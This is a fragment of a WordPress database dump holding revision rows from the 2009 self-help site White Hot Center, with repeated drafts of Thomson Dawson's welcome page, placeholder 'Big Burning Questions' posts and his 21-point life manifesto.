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(226, 2, '2009-06-22 16:20:03', '2009-06-22 23:20:03', 'I’m Thomson Dawson, your host and the curator here at the White Hot Center. \r\n\r\nMy purpose is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire. It is my intention to provide you with information and a point of view that will inspire you to greater levels of understanding about how to create what you want in life. Of course each individual definition of success is as different and unique as our own DNA. There are no absolutes.  When I began to have greater awareness of what really mattered to me in defining my own experience of life success, I found that there were some key attributes about personal and business success we all have in common.  As I began to explore these ideas for myself, I discovered how much they resonated with other people who were searching, like me, for tools to help guide their life journey. With that in mind, here are some "success benchmarks" you may agree are worthwhile pursuing: \r\n\r\n-  being free to do the work that matters most to you.\r\n\r\n-  creating a sustainable business comprised of customers who value your contribution to them, and are willing to pay the higher fees your expertise commands and deserves.\r\n\r\n-  having mastery over the complexities your business success creates.\r\n\r\n-  learning to embrace and master effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.\r\n\r\n-  having more time and money available to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other passions in life.\r\n\r\n-  creating a life of significance through your contributions to the world, which you experience as fulfillment, happiness and well-being.  \r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life, just remember–<strong>there are no limits!</strong>\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. These  benchmarks matter to me. I want to experience as much of their benefit as I possibly can and share my knowledge with others.  So, like two strangers walking the same road, it is my intention here that we become friends and walk awhile together. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!  \r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their value proposition to customers. I have been a designer, writer, creative director, marketing consultant to global companies and start-ups alike. I am totally committed to expanding my own mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center.  To contribute your greatness to the world, you must believe you are the creator of your reality!  All your life''s circumstances and results are the result of your thinking. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you may enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your sharing your thoughts for the benefit of all of us.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe to receiving our information directly to your email inbox.  Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas you can immeadiately apply to your life''s journey.\r\n\r\nI wish you you great success in your business and in your life. \r\n\r\nThank you for visiting\r\nThomson', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-22 16:20:03', '2009-06-22 23:20:03', '', 172, 'http://www.whitehotcenter.com/172-revision-7/', 0, 'revision', '', 0),
(437, 1, '2009-06-08 20:03:48', '2009-06-09 03:03:48', 'Introduction Content for Big Burning Questions. Please click on a question to leave your answer.\r\n\r\n<a href="http://whc.fbdev.org/big-burning-questions/the-first-big-burning-question/">This is the First Questions Title</a>\r\n\r\n<a href="http://whc.fbdev.org/big-burning-questions/the-second-big-burning-question/">This is the Second Questions Title</a>\r\n\r\n<a href="http://whc.fbdev.org/big-burning-questions/the-third-big-burning-question/">This is the Third Questions Title</a>\r\n\r\n<a href="http://whc.fbdev.org/big-burning-questions/the-fourth-big-burning-question/">This is the Fourth Questions Title</a>', 'The Big Burning Questions', 0, '', 'inherit', 'open', 'open', '', '179-revision-8', '', '', '2009-06-08 20:03:48', '2009-06-09 03:03:48', '', 179, 'http://www.whitehotcenter.com/179-revision-8/', 0, 'revision', '', 0),
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(439, 1, '2009-06-08 19:11:41', '2009-06-09 02:11:41', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam et nulla non orci ullamcorper rhoncus et nec enim. Nulla ipsum orci, luctus et sodales ac, rutrum in justo. Aliquam quis nisl porta diam iaculis pellentesque nec vitae elit. Nulla vel quam in nibh venenatis convallis. Vestibulum tortor magna, commodo a scelerisque vel, vulputate non purus. Nulla facilisi. Proin ut mauris sit amet dolor pretium pellentesque. Nunc lorem diam, posuere vel congue nec, hendrerit ut lectus. Cras in libero orci, quis eleifend magna. Vivamus lectus arcu, dictum a adipiscing sit amet, pulvinar eget risus. Sed eget ante nibh, vitae congue lectus.', 'The Fourth Big Burning Question', 0, '', 'inherit', 'open', 'open', '', '191-revision-2', '', '', '2009-06-08 19:11:41', '2009-06-09 02:11:41', '', 191, 'http://www.whitehotcenter.com/191-revision-2/', 0, 'revision', '', 0),
(233, 2, '2009-06-22 16:43:09', '2009-06-22 23:43:09', 'I’m Thomson  Dawson. I’m your host and curator here at the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA.  There are no absolutes. But when I began to have greater awareness of what really mattered to me in defining my own experience of life success, I found that there is some common ground in my definition that resonated with other people who were searching, like me, for tools to help guide their life journey. With that in mind, here are some success benchmarks you may agree are worthwhile pursuing: \r\n\r\n-  being free to do the work that matters most to you.\r\n\r\n-  creating a sustainable business comprised of customers who value your contribution to them, and are willing to pay the higher fees your expertise commands and deserves.\r\n\r\n-  having mastery over the complexities your business success creates.\r\n\r\n-  learning to embrace and master effective marketing and business development strategies to grow your business doing only what you love and are uniquely suited for.\r\n\r\n-  having more time and money available to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.\r\n\r\n-  creating a life of significance through your contributions to the world, which you experience as fulfillment and happiness.  \r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. These  benchmarks matter to me. I want to experience as much of their benefit as I possibly can and share my knowledge with others.  So, like two strangers walking the same road, it is my intention here that we become friends and walk awhile together. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!  \r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their value proposition to customers. I have been a designer, writer, creative director, marketing consultant to global companies and start-ups alike. I am totally committed to expanding my own mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center.  To contribute your greatness to the world, you must believe you are the creator of your reality!  All your life''s circumstances and results are the result of your thinking. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you may enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your sharing your thoughts for the benefit of all of us.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe to receiving our information directly to your email inbox.  Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas you can immeadiately apply to your life''s journey.\r\n\r\nI wish you cintinued success in your business and in every area of your life. \r\n\r\nThank you for visiting\r\nThomson', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-22 16:43:09', '2009-06-22 23:43:09', '', 172, 'http://www.whitehotcenter.com/172-revision-9/', 0, 'revision', '', 0),
(438, 1, '2009-06-08 19:09:42', '2009-06-09 02:09:42', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam et nulla non orci ullamcorper rhoncus et nec enim. Nulla ipsum orci, luctus et sodales ac, rutrum in justo. Aliquam quis nisl porta diam iaculis pellentesque nec vitae elit. Nulla vel quam in nibh venenatis convallis. Vestibulum tortor magna, commodo a scelerisque vel, vulputate non purus. Nulla facilisi. Proin ut mauris sit amet dolor pretium pellentesque.', 'The First Big Burning Question', 0, '', 'inherit', 'open', 'open', '', '185-revision-2', '', '', '2009-06-08 19:09:42', '2009-06-09 02:09:42', '', 185, 'http://www.whitehotcenter.com/185-revision-2/', 0, 'revision', '', 0),
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(238, 2, '2009-06-23 15:42:10', '2009-06-23 22:42:10', 'I’m Thomson Dawson. I’m your host and curator here at the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. But when I began to have greater awareness of what really mattered to me in defining my own experience of life success, I found that there is some common ground in my definition that resonated with other people who were searching, like me, for tools to help guide their life journey. With that in mind, here are some success benchmarks you may agree are worthwhile pursuing:\r\n\r\n- being free to do the work that matters most to you.\r\n\r\n- creating a sustainable business comprised of customers who value your contribution to them, and are willing to pay the higher fees your expertise commands and deserves.\r\n\r\n- having mastery over the complexities your business success creates.\r\n\r\n- learning to embrace and master effective marketing and business development strategies to grow your business doing only what you love and are uniquely suited for.\r\n\r\n- having more time and money available to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.\r\n\r\n- creating a life of significance through your contributions to the world, which you experience as fulfillment and happiness.\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. These benchmarks matter to me. I want to experience as much of their benefit as I possibly can and share my knowledge with others. So, like two strangers walking the same road, it is my intention here that we become friends and walk awhile together. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their value proposition to customers. I have been a designer, writer, creative director, marketing consultant to global companies and start-ups alike. I am totally committed to expanding my own mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must believe you are the creator of your reality! All your life''s circumstances and results are the result of your thinking. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you may enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your sharing your thoughts for the benefit of all of us.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe to receiving our information directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas you can immeadiately apply to your life''s journey.\r\n\r\nI wish you cintinued success in your business and in every area of your life.\r\n\r\nThank you for visiting\r\nThomson', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-23 15:42:10', '2009-06-23 22:42:10', '', 172, 'http://www.whitehotcenter.com/172-revision-10/', 0, 'revision', '', 0),
(239, 2, '2009-06-23 18:01:03', '2009-06-24 01:01:03', '[caption id="attachment_237" align="alignleft" width="250" caption="Thomson Dawson PIc"]<img class="size-full wp-image-237" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="250" height="364" />[/caption]\r\n\r\nI’m Thomson Dawson, your host and curator at the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far says that success is the "on-going pursuit of a worthy ideal". The key to that is found in the "on-going" part.  When I began to have greater awareness of what really mattered to me in defining my own on-going pursuit of life success, I found that there is some common ground in this definition that resonated with other people who were searching, like me, for tools to help guide their life journey. With that in mind, here are some success benchmarks you may agree are worthwhile pursuing:\r\n\r\n<strong>-  free to do the work that matters most to you and serves others.</strong>\r\n\r\n<strong>- creating a sustainable business comprised of customers who value your contribution to them, and are willing to pay the higher fees your talent and expertise commands and deserves.</strong>\r\n\r\n<strong>-  mastery over the daily complexities your business success creates.</strong>\r\n\r\n<strong>- mastery in effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong>\r\n\r\n<strong>- enjoying more time and money available to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong>\r\n\r\n<strong>- creating a life of significance through your contributions to the world, which you experience as fulfillment and significance.</strong>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like two strangers walking the same road, it is my intention here that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto. It outlines the principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their value proposition to customers. I have been a designer, writer, creative director, marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my own mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must believe you are the creator of your reality and be inspired to create the reality you really want! All life''s circumstances and results are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you may enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your sharing your thoughts as well.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to you and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\nThomson', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-23 18:01:03', '2009-06-24 01:01:03', '', 172, 'http://www.whitehotcenter.com/172-revision-11/', 0, 'revision', '', 0);
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(241, 2, '2009-06-23 18:27:27', '2009-06-24 01:27:27', '[caption id="attachment_237" align="alignleft" width="200" caption="Thomson Dawson "]<img class="size-full wp-image-237" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="200" height="291" />[/caption]\r\n\r\nI’m Thomson Dawson, your host and curator at the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far says that success is the "on-going pursuit of a worthy ideal". The key to that is in the "on-going" part.  When I began to have greater awareness of what really mattered to me in defining my own on-going pursuit of business and life success, I found that there is some common ground in this definition that resonated with other creative people who were searching, like me, for tools to help guide their life journey. With that in mind, here are some success benchmarks you may agree are worthwhile pursuing:\r\n\r\n<strong>-  free to do the creative work that matters most to you and serves others.</strong>\r\n\r\n<strong>- creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong>\r\n\r\n<strong>-  mastery over the daily complexities your business success creates.</strong>\r\n\r\n<strong>- mastery in effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong>\r\n\r\n<strong>- enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong>\r\n\r\n<strong>- creating a life of significance through your contributions to the world.</strong>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your sharing your thoughts through you comments as well.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-23 18:27:27', '2009-06-24 01:27:27', '', 172, 'http://www.whitehotcenter.com/172-revision-13/', 0, 'revision', '', 0),
(240, 2, '2009-06-23 18:18:17', '2009-06-24 01:18:17', '[caption id="attachment_237" align="alignleft" width="250" caption="Thomson Dawson "]<img class="size-full wp-image-237" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="250" height="364" />[/caption]\r\n\r\nI’m Thomson Dawson, your host and curator at the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far says that success is the "on-going pursuit of a worthy ideal". The key to that is in the "on-going" part.  When I began to have greater awareness of what really mattered to me in defining my own on-going pursuit of business and life success, I found that there is some common ground in this definition that resonated with other creative people who were searching, like me, for tools to help guide their life journey. With that in mind, here are some success benchmarks you may agree are worthwhile pursuing:\r\n\r\n<strong>-  free to do the creative work that matters most to you and serves others.</strong>\r\n\r\n<strong>- creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong>\r\n\r\n<strong>-  mastery over the daily complexities your business success creates.</strong>\r\n\r\n<strong>- mastery in effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong>\r\n\r\n<strong>- enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong>\r\n\r\n<strong>- creating a life of significance through your contributions to the world.</strong>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances and results are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your sharing your thoughts through you comments as well.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\n<a href="thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-23 18:18:17', '2009-06-24 01:18:17', '', 172, 'http://www.whitehotcenter.com/172-revision-12/', 0, 'revision', '', 0),
(242, 2, '2009-06-23 18:31:09', '2009-06-24 01:31:09', '[caption id="attachment_237" align="alignleft" width="140" caption="Thomson Dawson "]<img class="size-full wp-image-237" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="140" height="204" />[/caption]\r\n\r\nI’m Thomson Dawson, your host and curator at the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far says that success is the "on-going pursuit of a worthy ideal". The key to that is in the "on-going" part.  When I began to have greater awareness of what really mattered to me in defining my own on-going pursuit of business and life success, I found that there is some common ground in this definition that resonated with other creative people who were searching, like me, for tools to help guide their life journey. With that in mind, here are some success benchmarks you may agree are worthwhile pursuing:\r\n\r\n<strong>-  free to do the creative work that matters most to you\r\nand serves others.</strong>\r\n\r\n<strong>- creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong>\r\n\r\n<strong>-  mastery over the daily complexities your business success creates.</strong>\r\n\r\n<strong>- mastery in effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong>\r\n\r\n<strong>- enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other\r\ncreative passions in life.</strong>\r\n\r\n<strong>- creating a life of significance through your contributions to the world.</strong>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your sharing your thoughts through you comments as well.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-23 18:31:09', '2009-06-24 01:31:09', '', 172, 'http://www.whitehotcenter.com/172-revision-14/', 0, 'revision', '', 0),
(243, 2, '2009-06-23 18:33:20', '2009-06-24 01:33:20', '[caption id="attachment_237" align="alignleft" width="140" caption="Thomson Dawson "]<img class="size-full wp-image-237" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-fullon.gif" alt="Thomson Dawson PIc" width="140" height="204" />[/caption]\r\n\r\nI’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire in life. Of course each definition of success is as different and unique as our own DNA. There are no absolutes. The best definition of success I have heard so far says that success is the "on-going pursuit of a worthy ideal". The key to that is in the "on-going" part.\r\n\r\nWhen I began to have greater awareness of what really mattered to me in defining my own on-going pursuit of business and life success, I found that there is some common ground in this definition that resonated with other creative people who were searching, like me, for tools to help guide their life journey. With that in mind, here are some success benchmarks you may agree are worthwhile pursuing:\r\n\r\n<strong>-  free to do the creative work that matters most to you\r\nand serves others.</strong>\r\n\r\n<strong>- creating a sustainable business comprised of customers who value your contribution to them, and are delighted to pay the fees your talent and expertise commands and deserves.</strong>\r\n\r\n<strong>-  mastery over the daily complexities your business success creates.</strong>\r\n\r\n<strong>- mastery in effective marketing and business development strategies to grow your business doing what you love and are uniquely suited for.</strong>\r\n\r\n<strong>- enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your other creative passions in life.</strong>\r\n\r\n<strong>- creating a life of significance through your contributions\r\nto the world.</strong>\r\n\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\nJust like you, I continue on my own journey as a creative entrepreneur. I want to play big and make a difference. This site is one expression of that idea. So, like friends walking the same road, it is my intention that we begin a conversation about the inner game that drives outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that guide the dialogue here. I’ll share thoughts, ideas, methods and expertise to inspire you to keep looking up and out, as well as within yourself for the power and energy to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\n<strong>About Me</strong>\r\n\r\nI’ve been a self-employed creative entrepreneur all my adult life. For over 25 years, I have been a involved in helping businesses large and small, define their brand identity and value proposition to customers. I am a designer, writer, creative director, brand marketing consultant to global companies and start-ups alike. You can check out my work in the brand consulting business: <a href="www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n\r\nI am totally committed to expanding my learning and mastery of the timeless principles for creative business and life success. This site is a resource for inspiration and innovation to help you operate from the creative source– your own white hot center. To contribute your greatness to the world, you must recognize you are the creator of your reality Everything is possibility and potential when you are inspired to create the reality you really want! All life''s circumstances are the result of the source thinking behind them. I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other thought leaders you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to your sharing your thoughts through you comments as well.\r\n\r\nAfter you have clicked around the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email inbox. Your subscription to the White Hot Center is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life.\r\n\r\nThank you for visiting\r\n\r\nThomson\r\nthomson@whitehotcenter.com', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-06-23 18:33:20', '2009-06-24 01:33:20', '', 172, 'http://www.whitehotcenter.com/172-revision-15/', 0, 'revision', '', 0),
(244, 2, '2009-04-03 19:24:26', '2009-04-04 02:24:26', 'Everyone might benefit from writing a manifesto... a public declaration of principals that guide your actions in the world, and create an authentic identity around who you are, what you do with your life and how it matters to people. For me, this is a public declaration of the most important principals that guide my participation in life. I run all my thinking and decision-making through this filter.\r\n\r\nMy manifesto is the result of everything I have learned about living so far. It is a clear statement of what guides me to the grandest expression of all I am capable of and all I desire. I share mine as a reference point for you to think about crafting your own manifesto. When you have completed it to your satisfaction, display it in a public place where you and others can read it on a regular basis.\r\n\r\n<h2 style="color: #bf5f00;">Thomson Dawson: A manifesto for living an extraordinary life.</h2>\r\n<ol>\r\n	<li>as you think, so it is</li>\r\n	<li>know what you want, be open for something better.</li>\r\n	<li>what you do must matter to you and others</li>\r\n	<li>start with what’s at hand</li>\r\n	<li>as you live in your days, you craft your futue</li>\r\n	<li>embrace simplicity</li>\r\n	<li>the best idea is the one you think can’t be done</li>\r\n	<li>be differnet, make a difference</li>\r\n	<li>provide more use value than you get in cash value</li>\r\n	<li>create / design experiences people love</li>\r\n	<li>people are more important than money</li>\r\n	<li>really listen</li>\r\n	<li>intuition over conventional wisdom</li>\r\n	<li>daydream often</li>\r\n	<li>focus on the important, handle the urgent</li>\r\n	<li>forget what you know</li>\r\n	<li>beware of comfort</li>\r\n	<li>leadership is service in disguise</li>\r\n	<li>to thine own self be true, no exceptions</li>\r\n	<li>play on the edges</li>\r\n	<li>give thanks, give back.</li>\r\n</ol>\r\n\r\nWhat inspired me to share my own Manifesto here on the WHC, was the result of an encounter with a brilliant woman named <a href="http://www.whitehottruth.com">Danielle Laporte</a>. Check her out and I highly recommend you engaging in her Firestarter Sessions. You''ll be glad that you did!', 'My White Hot Center Manifesto', 0, 'Everyone might benefit from writing a manifesto... a public declaration of principals that guide your actions in the world, and create an authentic identity around who you are, what you do with your life and how it matters to people....\r\n', 'inherit', 